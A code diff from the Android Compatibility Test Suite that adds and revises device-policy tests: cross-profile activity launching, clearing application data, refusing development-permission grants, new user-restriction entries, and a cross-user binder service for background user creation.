+/**
+ * Test that runs {@link CrossProfileApps} APIs against non-valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsNonTargetUserTest {
+    private static final String PARAM_TARGET_USER = "TARGET_USER";
+
+    private CrossProfileApps mCrossProfileApps;
+    private UserHandle mTargetUser;
+    private Context mContext;
+
+    @Before
+    public void setupCrossProfileApps() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+    }
+
+    @Before
+    public void readTargetUser() {
+        Context context = InstrumentationRegistry.getContext();
+        Bundle arguments = InstrumentationRegistry.getArguments();
+        UserManager userManager = context.getSystemService(UserManager.class);
+        final int userSn = Integer.parseInt(arguments.getString(PARAM_TARGET_USER));
+        mTargetUser = userManager.getUserForSerialNumber(userSn);
+    }
+
+    @Test
+    public void testTargetUserIsNotInGetTargetProfiles() {
+        List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+        assertThat(targetProfiles).doesNotContain(mTargetUser);
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testCannotStartActivity() {
+        mCrossProfileApps.startMainActivity(
+                MainActivity.getComponentName(mContext), mTargetUser, null, null);
+    }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
new file mode 100644
index 0000000..5c4e4c9
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertNotNull;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.content.pm.crossprofile.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test that runs {@link CrossProfileApps} APIs against valid target user.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CrossProfileAppsTargetUserTest {
+    private static final String PARAM_TARGET_USER = "TARGET_USER";
+    private static final String ID_USER_TEXTVIEW =
+            "com.android.cts.crossprofileappstest:id/user_textview";
+    private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+
+    private CrossProfileApps mCrossProfileApps;
+    private UserHandle mTargetUser;
+    private Context mContext;
+    private UiDevice mDevice;
+    private long mUserSerialNumber;
+
+    @Before
+    public void setupCrossProfileApps() {
+        mContext = InstrumentationRegistry.getContext();
+        mCrossProfileApps = mContext.getSystemService(CrossProfileApps.class);
+    }
+
+    @Before
+    public void wakeupDeviceAndPressHome() throws Exception {
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mDevice.wakeUp();
+        mDevice.pressMenu();
+        mDevice.pressHome();
+    }
+
+    @Before
+    public void readTargetUser() {
+        Context context = InstrumentationRegistry.getContext();
+        Bundle arguments = InstrumentationRegistry.getArguments();
+        UserManager userManager = context.getSystemService(UserManager.class);
+        mUserSerialNumber = Long.parseLong(arguments.getString(PARAM_TARGET_USER));
+        mTargetUser = userManager.getUserForSerialNumber(mUserSerialNumber);
+        assertNotNull(mTargetUser);
+    }
+
+    @After
+    public void pressHome() {
+        mDevice.pressHome();
+    }
+
+    @Test
+    public void testTargetUserIsIngetTargetUserProfiles() {
+        List<UserHandle> targetProfiles = mCrossProfileApps.getTargetUserProfiles();
+        assertThat(targetProfiles).contains(mTargetUser);
+    }
+
+    /**
+     * Verify we succeed to start the activity in another profile by checking UI element.
+     */
+    @Test
+    public void testCanStartMainActivity() throws Exception {
+        mCrossProfileApps.startMainActivity(
+                MainActivity.getComponentName(mContext), mTargetUser, null, null);
+
+        // Look for the text view to verify that MainActivity is started.
+        UiObject2 textView = mDevice.wait(
+                Until.findObject(By.res(ID_USER_TEXTVIEW)),
+                TIMEOUT_WAIT_UI);
+        assertNotNull("Failed to start activity in target user", textView);
+        // Look for the text in textview, it should be the serial number of target user.
+        assertEquals("Activity is started in wrong user",
+                String.valueOf(mUserSerialNumber),
+                textView.getText());
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testCannotStartNotExportedActivity() throws Exception {
+        mCrossProfileApps.startMainActivity(
+                NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testCannotStartNonMainActivity() throws Exception {
+        mCrossProfileApps.startMainActivity(
+                NonExportedActivity.getComponentName(mContext), mTargetUser, null, null);
+    }
+}
+
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
new file mode 100644
index 0000000..c137e80
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/MainActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserManager;
+import android.util.Log;
+import android.widget.TextView;
+
+import java.lang.Override;
+
+/**
+ * An dummy activity that displays the serial number of the user that it is running into.
+ */
+public class MainActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.main);
+    }
+
+    @Override
+    public void onStart() {
+        super.onStart();
+        TextView textView = findViewById(R.id.user_textview);
+        textView.setText(Long.toString(getCurrentUserSerialNumber()));
+    }
+
+    public static ComponentName getComponentName(Context context) {
+        return new ComponentName(context, MainActivity.class);
+    }
+
+    private long getCurrentUserSerialNumber() {
+        UserManager userManager = getSystemService(UserManager.class);
+        return userManager.getSerialNumberForUser(Process.myUserHandle());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
new file mode 100644
index 0000000..0876694
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonExportedActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class NonExportedActivity extends Activity {
+
+    public static ComponentName getComponentName(Context context ){
+        return new ComponentName(context, NonExportedActivity.class);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
new file mode 100644
index 0000000..56ec466
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/NonMainActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class NonMainActivity extends Activity {
+
+    public static ComponentName getComponentName(Context context) {
+        return new ComponentName(context, NonMainActivity.class);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index efc7115..f26d228 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -83,8 +83,8 @@
         }
 
         try {
-            // Set volume of ringtone to be 1.
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, /* flag= */ 0);
+            // Set volume of music to be 1.
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, /* flag= */ 0);
 
             // Disallow adjusting volume.
             mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -93,7 +93,7 @@
 
             // Verify that volume can't be changed.
             mAudioManager.adjustVolume(AudioManager.ADJUST_RAISE, /* flag= */ 0);
-            assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+            assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
 
             // Allowing adjusting volume.
             mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -105,7 +105,7 @@
             waitUntil(2, new Callable<Integer>() {
                 @Override
                 public Integer call() throws Exception {
-                    return mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
+                    return mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
                 }
             });
         } finally {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearApplicationDataTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearApplicationDataTest.java
new file mode 100644
index 0000000..d477706
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ClearApplicationDataTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2017, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import android.os.Handler;
+import android.os.HandlerThread;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test class that calls DPM.clearApplicationUserData and verifies that it doesn't time out.
+ */
+public class ClearApplicationDataTest extends BaseDeviceAdminTest {
+    private static final String TEST_PKG = "com.android.cts.intent.receiver";
+    private static final Semaphore mSemaphore = new Semaphore(0);
+    private static final long CLEAR_APPLICATION_DATA_TIMEOUT_S = 10;
+
+    private HandlerThread mHandlerThread;
+    private Handler mHandler;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mHandlerThread = new HandlerThread("ClearApplicationData");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mHandlerThread.quitSafely();
+        super.tearDown();
+    }
+
+    public void testClearApplicationData() throws Exception {
+        mDevicePolicyManager.clearApplicationUserData(ADMIN_RECEIVER_COMPONENT, TEST_PKG,
+                (String pkg, boolean succeeded) -> {
+                    assertEquals(TEST_PKG, pkg);
+                    assertTrue(succeeded);
+                    mSemaphore.release();
+                }, mHandler);
+
+        assertTrue("Clearing application data took too long",
+                mSemaphore.tryAcquire(CLEAR_APPLICATION_DATA_TIMEOUT_S, TimeUnit.SECONDS));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 6c706ee..70a5d09 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -22,7 +22,6 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
-import android.os.UserManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -47,6 +46,7 @@
     private static final String SIMPLE_PRE_M_APP_PACKAGE_NAME =
             "com.android.cts.launcherapps.simplepremapp";
     private static final String PERMISSION_NAME = "android.permission.READ_CONTACTS";
+    private static final String DEVELOPMENT_PERMISSION = "android.permission.INTERACT_ACROSS_USERS";
 
     private static final String PERMISSIONS_ACTIVITY_NAME
             = PERMISSION_APP_PACKAGE_NAME + ".PermissionActivity";
@@ -227,6 +227,15 @@
         assertSetPermissionGrantStatePreMApp(DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
     }
 
+    public void testPermissionGrantState_developmentPermission() throws Exception {
+        assertFailedToSetDevelopmentPermissionGrantState(
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED);
+        assertFailedToSetDevelopmentPermissionGrantState(
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+        assertFailedToSetDevelopmentPermissionGrantState(
+                DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
+    }
+
     private void assertPermissionRequest(int expected) throws Exception {
         assertPermissionRequest(expected, null);
     }
@@ -274,6 +283,18 @@
                 value);
     }
 
+    private void assertFailedToSetDevelopmentPermissionGrantState(int value) throws Exception {
+        assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION, value));
+        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PERMISSION_APP_PACKAGE_NAME, DEVELOPMENT_PERMISSION),
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+        assertEquals(mPackageManager.checkPermission(DEVELOPMENT_PERMISSION,
+                PERMISSION_APP_PACKAGE_NAME),
+                PackageManager.PERMISSION_DENIED);
+    }
+
+
     private void assertSetPermissionGrantStatePreMApp(int value) throws Exception {
         assertFalse(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
                 SIMPLE_PRE_M_APP_PACKAGE_NAME, PERMISSION_NAME,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
index 39235b0..0361fd8 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
@@ -60,6 +60,7 @@
             UserManager.DISALLOW_SMS,
             UserManager.DISALLOW_FUN,
             UserManager.DISALLOW_CREATE_WINDOWS,
+            UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS,
             UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
             UserManager.DISALLOW_OUTGOING_BEAM,
             UserManager.DISALLOW_SAFE_BOOT,
@@ -91,7 +92,8 @@
 
             // PO can set them too, but when DO sets them, they're global.
             UserManager.DISALLOW_ADJUST_VOLUME,
-            UserManager.DISALLOW_UNMUTE_MICROPHONE
+            UserManager.DISALLOW_UNMUTE_MICROPHONE,
+            UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS
     };
 
     public static final String[] HIDDEN_AND_PROHIBITED = new String[] {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
index b218341..0595f3c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
@@ -48,6 +48,7 @@
             UserManager.DISALLOW_SMS,
             UserManager.DISALLOW_FUN,
             UserManager.DISALLOW_CREATE_WINDOWS,
+            UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS,
             UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
             UserManager.DISALLOW_OUTGOING_BEAM,
             UserManager.DISALLOW_SAFE_BOOT,
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
index 5c7f243..89bafdc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
@@ -38,6 +38,7 @@
             UserManager.DISALLOW_UNMUTE_MICROPHONE,
             UserManager.DISALLOW_ADJUST_VOLUME,
             UserManager.DISALLOW_OUTGOING_CALLS,
+            UserManager.DISALLOW_SYSTEM_ERROR_DIALOGS,
             UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
             UserManager.DISALLOW_OUTGOING_BEAM,
             UserManager.ALLOW_PARENT_PROFILE_APP_LINKING,
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index 4cc041a..4084099 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -22,7 +22,10 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+                   $(call all-Iaidl-files-under, src)
+
+LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
 
 LOCAL_JAVA_LIBRARIES := android.test.runner conscrypt cts-junit
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 9a09007..f032a93 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -52,6 +52,20 @@
                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
             </intent-filter>
         </receiver>
+        <receiver
+                android:name="com.android.cts.deviceowner.CreateAndManageUserTest$SecondaryUserAdminReceiver"
+                android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+        <service android:name="com.android.cts.deviceowner.CreateAndManageUserTest$PrimaryUserService"
+                 android:exported="true"
+                 android:permission="android.permission.BIND_DEVICE_ADMIN">
+        </service>
 
         <activity
             android:name="com.android.cts.deviceowner.KeyManagementActivity"
@@ -70,14 +84,6 @@
             </intent-filter>
         </activity>
 
-        <!-- we need to give a different taskAffinity so that when we use
-             FLAG_ACTIVITY_NEW_TASK, the system tries to start it in a different task
-        -->
-        <activity
-            android:name="com.android.cts.deviceowner.LockTaskTest$IntentReceivingActivity"
-            android:taskAffinity="com.android.cts.deviceowner.LockTaskTest.IntentReceivingActivity"
-            />
-
         <activity
             android:name=".SetPolicyActivity"
             android:launchMode="singleTop">
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index a540c27..ce39db4 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -17,6 +17,7 @@
 package com.android.cts.deviceowner;
 
 import android.app.ActivityManager;
+import android.app.Service;
 import android.app.admin.DeviceAdminReceiver;
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
@@ -24,16 +25,20 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
-import android.os.Bundle;
+import android.os.IBinder;
 import android.os.PersistableBundle;
-import android.os.Process;
+import android.os.RemoteException;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
 import android.support.v4.content.LocalBroadcastManager;
 import android.util.Log;
-import java.lang.reflect.Field;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.Semaphore;
 import java.util.concurrent.SynchronousQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -50,6 +55,12 @@
     private static final String SETUP_COMPLETE_EXTRA = "setupCompleteExtra";
     private static final int BROADCAST_TIMEOUT = 15_000;
     private static final int USER_SWITCH_DELAY = 10_000;
+
+    private static final String AFFILIATION_ID = "affiliation.id";
+    private static final String EXTRA_AFFILIATION_ID = "affiliationIdExtra";
+    private static final long ON_ENABLED_TIMEOUT_SECONDS = 120;
+
+
     private PackageManager mPackageManager;
     private ActivityManager mActivityManager;
     private volatile boolean mReceived;
@@ -204,44 +215,13 @@
     public void testCreateAndManageEphemeralUser() throws Exception {
         String testUserName = "TestUser_" + System.currentTimeMillis();
 
-        // Use reflection to get the value of the hidden flag to make the new user ephemeral.
-        Field field = DevicePolicyManager.class.getField("MAKE_USER_EPHEMERAL");
-        int makeEphemeralFlag = field.getInt(null);
-
         // Do not assign return value to mUserHandle, so it is not removed in tearDown.
         mDevicePolicyManager.createAndManageUser(
                 getWho(),
                 testUserName,
                 getWho(),
                 null,
-                makeEphemeralFlag);
-    }
-
-    /**
-     * Test creating an ephemeral user using the {@link DevicePolicyManager#createAndManageUser}
-     * method fails on systems without the split system user.
-     *
-     * <p>To be used by host-side test on systems without the split system user.
-     */
-    public void testCreateAndManageEphemeralUserFails() throws Exception {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
-
-        // Use reflection to get the value of the hidden flag to make the new user ephemeral.
-        Field field = DevicePolicyManager.class.getField("MAKE_USER_EPHEMERAL");
-        int makeEphemeralFlag = field.getInt(null);
-
-        try {
-            mDevicePolicyManager.createAndManageUser(
-                    getWho(),
-                    testUserName,
-                    getWho(),
-                    null,
-                    makeEphemeralFlag);
-        } catch (IllegalArgumentException e) {
-            // Success, the expected exception was thrown.
-            return;
-        }
-        fail("createAndManageUser should have thrown IllegalArgumentException");
+                DevicePolicyManager.MAKE_USER_EPHEMERAL);
     }
 
 // Disabled due to b/29072728
@@ -302,6 +282,28 @@
         }
     }
 
+    public void testCreateAndManageUser_StartUserInBackground() throws Exception {
+        String testUserName = "TestUser_" + System.currentTimeMillis();
+
+        // Set affiliation id to allow communication
+        mDevicePolicyManager.setAffiliationIds(getWho(), Collections.singleton(AFFILIATION_ID));
+
+        // Pack the affiliation id in a bundle so the secondary user can get it
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putString(EXTRA_AFFILIATION_ID, AFFILIATION_ID);
+
+        // Do not assign return value to mUserHandle, so it is not removed in tearDown.
+        UserHandle uh = mDevicePolicyManager.createAndManageUser(
+                getWho(),
+                testUserName,
+                SecondaryUserAdminReceiver.getComponentName(mContext),
+                bundle,
+                DevicePolicyManager.START_USER_IN_BACKGROUND);
+        Log.d(TAG, "User create: " + uh);
+
+        PrimaryUserService.assertCrossUserCallArrived();
+    }
+
     static class LocalBroadcastReceiver extends BroadcastReceiver {
         private SynchronousQueue<UserHandle> mQueue = new SynchronousQueue<UserHandle>();
 
@@ -318,4 +320,75 @@
             return mQueue.poll(BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
         }
     }
+
+    public static final class PrimaryUserService extends Service {
+        private static final Semaphore mSemaphore = new Semaphore(0);
+
+        private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
+            public void onEnabledCalled() {
+                Log.d(TAG, "onEnabledCalled on primary user");
+                mSemaphore.release();
+            }
+        };
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            return mBinder;
+        }
+
+        static void assertCrossUserCallArrived() throws Exception {
+            assertTrue(mSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS));
+        }
+    }
+
+    public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
+        @Override
+        public void onEnabled(Context context, Intent intent) {
+            Log.d(TAG, "onEnabled called");
+            DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+            // Set affiliation ids
+            String affiliationId = intent.getStringExtra(EXTRA_AFFILIATION_ID);
+            dpm.setAffiliationIds(getComponentName(context),
+                    Collections.singleton(affiliationId));
+            // Call all affiliated users
+            final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(
+                    getComponentName(context));
+            assertEquals(1, targetUsers.size());
+            pingTargetUser(context, dpm, targetUsers.get(0));
+        }
+
+        private void pingTargetUser(Context context, DevicePolicyManager dpm, UserHandle target) {
+            Log.d(TAG, "Pinging target: " + target);
+            final ServiceConnection serviceConnection = new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName name, IBinder service) {
+                    Log.d(TAG, "onServiceConnected is called in " + Thread.currentThread().getName());
+                    ICrossUserService crossUserService = ICrossUserService
+                            .Stub.asInterface(service);
+                    try {
+                        crossUserService.onEnabledCalled();
+                    } catch (RemoteException re) {
+                        Log.e(TAG, "Error when calling primary user", re);
+                        // Do nothing, primary user will time out
+                    }
+                }
+
+                @Override
+                public void onServiceDisconnected(ComponentName name) {
+                    Log.d(TAG, "onServiceDisconnected is called");
+                }
+            };
+            final Intent serviceIntent = new Intent(context, PrimaryUserService.class);
+            assertTrue(dpm.bindDeviceAdminServiceAsUser(
+                    getComponentName(context),
+                    serviceIntent,
+                    serviceConnection,
+                    Context.BIND_AUTO_CREATE,
+                    target));
+        }
+
+        public static ComponentName getComponentName(Context context) {
+            return new ComponentName(context, SecondaryUserAdminReceiver.class);
+        }
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ICrossUserService.aidl b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ICrossUserService.aidl
new file mode 100644
index 0000000..0cf5dcf
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ICrossUserService.aidl
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
